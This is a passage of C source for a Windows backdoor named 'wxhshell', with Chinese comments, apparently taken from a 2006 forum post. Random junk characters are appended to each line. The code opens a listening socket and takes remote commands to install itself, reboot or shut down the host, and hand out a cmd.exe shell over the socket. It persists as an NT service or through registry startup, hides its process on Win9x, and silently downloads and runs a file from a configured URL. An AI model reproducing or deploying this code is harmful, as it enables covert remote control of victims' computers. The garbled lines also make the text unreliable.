  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L iN$ pwm  
  } a!6{:8Zi0  
  else { 7Wf/$vRab  
4[m`#  
    switch(cmd[0]) { \ub7`01  
  3 oF45`3FV  
  // 帮助 BTqS'NuT  
  case '?': { ! `   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ] {RDVA=]  
    break; ;w{tv($$  
  } hgYZOwQ  
  // 安装 #++lg{  
  case 'i': { s Ep"D+f  
    if(Install()) R1adWBD>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + [iQLM?zo  
    else 132{# tG]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "h{q#~s  
    break; kj#?whK6~  
    } 1F5XvQl  
  // 卸载 =)0,#9k U]  
  case 'r': { OcR$zlgs[v  
    if(Uninstall()) %<\vGqsM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mitHT :%r2  
    else 8g@<d ^8@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1OGx>J6  
    break; |s7s6k)mm  
    } t6bV?nc  
  // 显示 wxhshell 所在路径 bkOv2tZ  
  case 'p': { Q3kdlxXR  
    char svExeFile[MAX_PATH]; -]0OKE&  
    strcpy(svExeFile,"\n\r"); =Gpylj7?~  
      strcat(svExeFile,ExeFile); 5kc/Y/4o  
        send(wsh,svExeFile,strlen(svExeFile),0); f',Op1o  
    break;  U f:`  
    } R/~p>apg8  
  // 重启 6dq(T_eG  
  case 'b': { ne>pOK<vZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nyku4r0  
    if(Boot(REBOOT)) (yH'{6g\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [^WC lRF  
    else { $SlIr<'*"  
    closesocket(wsh); %f&/E"M  
    ExitThread(0); K0u|U`   
    } t URu0`](  
    break; 5bRJS70M  
    } G)EU_UE 9  
  // 关机 8zZvht*  
  case 'd': { 3@etRd;]Kr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \\iQEy<i  
    if(Boot(SHUTDOWN)) &PR5q 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN<0 R`4sE  
    else { R3 -n>V5o  
    closesocket(wsh); k KaE=H-x  
    ExitThread(0); Vh'P&W?[  
    } F%@A6'c  
    break; %|s; C  
    } }n]Ng]KM`  
  // 获取shell ;,hwZZA  
  case 's': { iw3FA4{(  
    CmdShell(wsh); Ot4 Z{mA  
    closesocket(wsh); b)6D_Az7c  
    ExitThread(0); %R}qg6dL  
    break; , Rk9N  
  } OV1_|##LC  
  // 退出 0z`a1 %U  
  case 'x': { 0!4Ts3qn1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LK{*sHi$  
    CloseIt(wsh); I:=S 0&%)  
    break; :tz#v`3o  
    } *z5.vtfu!  
  // 离开 .<->C?#  
  case 'q': { 4X!/hI=jq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7BE>RE=)  
    closesocket(wsh); xs{3pkTYD  
    WSACleanup(); =mO vs  
    exit(1); %"q9:{m  
    break; S ^!n45l  
        } !8TlD-ZT/  
  } MUaq7B_>  
  } prWk2_D;*  
K?6jXJseb  
  // 提示信息 qrb[-|ie&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !]"@kl%  
} sfpZc7  
  } Q)~aiI0  
b:U$x20n$  
  return; t;|@o\  
} @KXV%a'  
:N:yLd} &  
// shell模块句柄 KN^=i5K+Y  
int CmdShell(SOCKET sock) qEyyT[:  
{ %vn|k[n D  
STARTUPINFO si; 'f#{{KA  
ZeroMemory(&si,sizeof(si)); PIJr{6B/PA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%,2=.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4.k0<  
PROCESS_INFORMATION ProcessInfo; 4)S,3G  
char cmdline[]="cmd"; .UQzPnK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;0Q4<F  
  return 0; DHy q^pJ  
} qSM|hHDo)  
S.mG?zbw  
// 自身启动模式 {AhthR%(1  
int StartFromService(void)  U'k*_g  
{ A` N,  
typedef struct TEP,Dq  
{ TtJH7  
  DWORD ExitStatus; 9)h"-H;5:  
  DWORD PebBaseAddress; )cX*I gO  
  DWORD AffinityMask; 9>= ;FY  
  DWORD BasePriority; 9"N~yKa`"K  
  ULONG UniqueProcessId; B~'vCuE  
  ULONG InheritedFromUniqueProcessId; Q3XpHnufu+  
}   PROCESS_BASIC_INFORMATION; 1rNzJ;'  
`}D,5^9]  
PROCNTQSIP NtQueryInformationProcess; kI,yU}<Fq  
g!FuY/%+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [T|aw1SoN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t=BUN  
rF3wx.  
  HANDLE             hProcess; !eGC6o}f  
  PROCESS_BASIC_INFORMATION pbi; E:,/!9n  
sv2A-Dld  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e|g5=2(Pr&  
  if(NULL == hInst ) return 0; 2A']y D  
] vz%iv_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a1g,@0s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gI&#o@Pm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e+=y*OmQ  
,L|%"K]yM  
  if (!NtQueryInformationProcess) return 0; t*=CZE-  
EH- sZAv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `jDTzhO~  
  if(!hProcess) return 0; 5^}\4.eXo  
%p Ynnfr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SUMrFd~  
o5u3Fjz3  
  CloseHandle(hProcess); ,dv+p&Tz2  
-{KQr1{5UM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [xbSYu,&  
if(hProcess==NULL) return 0; {yBs7[Wn  
1m'k|Ka  
HMODULE hMod; ,[N%Q#  
char procName[255]; kC:uG0sW  
unsigned long cbNeeded; +UCG0D  
'<gI8W</  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oro$wFxJO  
[NF'oRRD9s  
  CloseHandle(hProcess); ^dI424  
kPKB|kP\  
if(strstr(procName,"services")) return 1; // 以服务启动 ;/bewivNJ  
H/"-Z;0{  
  return 0; // 注册表启动 vRznw&^E  
} S:u:z=:r  
}V'} E\\  
// 主模块 2pZXZ  
int StartWxhshell(LPSTR lpCmdLine) R &n Pj~  
{ DKH-Q(M56  
  SOCKET wsl; H!@kO]?n  
BOOL val=TRUE; ww)<E`eGi  
  int port=0; , xw#NG6  
  struct sockaddr_in door; imVo<Je7z(  
UI0( =>L  
  if(wscfg.ws_autoins) Install(); ;RH;OE,A  
2my_;!6T[  
port=atoi(lpCmdLine); gx-2v|pZ  
AL[KpY  
if(port<=0) port=wscfg.ws_port; Tg7an&#  
FX;QG94!  
  WSADATA data; %9 SJ E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i9rN9Mq?O  
@g|v;B|{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u/UrAqw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Rg/~\K  
  door.sin_family = AF_INET; {WJm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G5{T5#  
  door.sin_port = htons(port); xv46r=>  
O8f?; ]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m\;R2"H%  
closesocket(wsl); M+-*QyCFK  
return 1; adlV!k7RG  
} r^2p*nr}  
"N;`1ce  
  if(listen(wsl,2) == INVALID_SOCKET) { BIH-"vTy  
closesocket(wsl); O6@j &*jS  
return 1; ,1hxw<sNR  
} f@6QvkIa  
  Wxhshell(wsl); e*sfPHt  
  WSACleanup(); HsxVZ.dS  
GmK^}=frj  
return 0; +|*IZ:w)  
<:_wbVn-  
} 9U7nKJ+iby  
,t3wp#E2#  
// 以NT服务方式启动 G%BjhpL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2L!u1  
{ V#v`(j%  
DWORD   status = 0; b}\N;D.{  
  DWORD   specificError = 0xfffffff; evenq$ H  
6=kEyJT'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L]yS[UN$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {GvJZ!,RCg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SfA\}@3  
  serviceStatus.dwWin32ExitCode     = 0; \ S_Ou   
  serviceStatus.dwServiceSpecificExitCode = 0; G3t xj  
  serviceStatus.dwCheckPoint       = 0; }#3V+X  
  serviceStatus.dwWaitHint       = 0; B)$| vK=  
y@1+I ~@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >d@&2FTO  
  if (hServiceStatusHandle==0) return; uMUBh 80,L  
85>05 ?  
status = GetLastError(); .GbX]?dN  
  if (status!=NO_ERROR) GXcJ< v  
{ eJ,/:=QQ{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r=Gks=NX"  
    serviceStatus.dwCheckPoint       = 0; oL-]3TY~  
    serviceStatus.dwWaitHint       = 0; Y=%tn8<  
    serviceStatus.dwWin32ExitCode     = status; MvuQz7M#d  
    serviceStatus.dwServiceSpecificExitCode = specificError; % BVs47g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y$o< 6[7  
    return; (DJ"WG  
  } FSP+?((  
eP.wOl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w2Us!<x  
  serviceStatus.dwCheckPoint       = 0; &]V.S7LC #  
  serviceStatus.dwWaitHint       = 0; Uq[>_"}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uyO/55;HO  
} f0A{W/0n  
'SO %)B  
// 处理NT服务事件,比如:启动、停止 WJ$bf(X*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i1UiNJh86  
{ Ha(c'\T (\  
switch(fdwControl) dW_KU}  
{ j >Ht@Wi  
case SERVICE_CONTROL_STOP: imo$-}A  
  serviceStatus.dwWin32ExitCode = 0; #TeG-sFJg@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]"r&]qx7  
  serviceStatus.dwCheckPoint   = 0; 4hO!\5-w:  
  serviceStatus.dwWaitHint     = 0; w2 ;eh]k  
  { ]5mnew  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jlri*q"hE  
  } 6wPaJbRtaM  
  return; d+<G1w&z  
case SERVICE_CONTROL_PAUSE: %fc !2E9|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ng[Ar`  
  break; 8G9s<N}5&u  
case SERVICE_CONTROL_CONTINUE: S3F;(PDzy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C](f>)Dz /  
  break; dFRsm0T  
case SERVICE_CONTROL_INTERROGATE: 6RG)` bu  
  break; %]F d[pzF  
}; C\\~E9+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5rwu!Y;7*  
} PZ2;v<  
E8!e:l =Q  
// 标准应用程序主函数 [\'%?BH(^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t;\kR4P  
{ A]<y:^2])C  
f}aL-N~  
// 获取操作系统版本 ]-PH^H  
OsIsNt=GetOsVer(); {^ qcx8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6,o~\8ia  
|_LU~7./  
  // 从命令行安装 H0:E(}@   
  if(strpbrk(lpCmdLine,"iI")) Install(); gGvz(R: y  
SlgN&{ Bk  
  // 下载执行文件 -5 RD)(d  
if(wscfg.ws_downexe) { ccNd'2P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |)nZ^Cc  
  WinExec(wscfg.ws_filenam,SW_HIDE); p s/A yjk  
} -1 FPkp  
L E&RY[  
if(!OsIsNt) { W_||6LbZy  
// 如果时win9x,隐藏进程并且设置为注册表启动 a!ud{Dx  
HideProc(); 46$._h P  
StartWxhshell(lpCmdLine); a<@1 -j<  
} ztnFhJ<a$  
else MPCBT!o4Z  
  if(StartFromService()) M:XSQ["6>V  
  // 以服务方式启动 }d&_q7L@@6  
  StartServiceCtrlDispatcher(DispatchTable); V E#Wb7  
else c(J!~7  
  // 普通方式启动 1cxrH+N  
  StartWxhshell(lpCmdLine); lAi6sPG)0  
j:<n+:H C  
return 0; *Y,x|F  
}
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只看该作者 1 发表于: 2006-10-10
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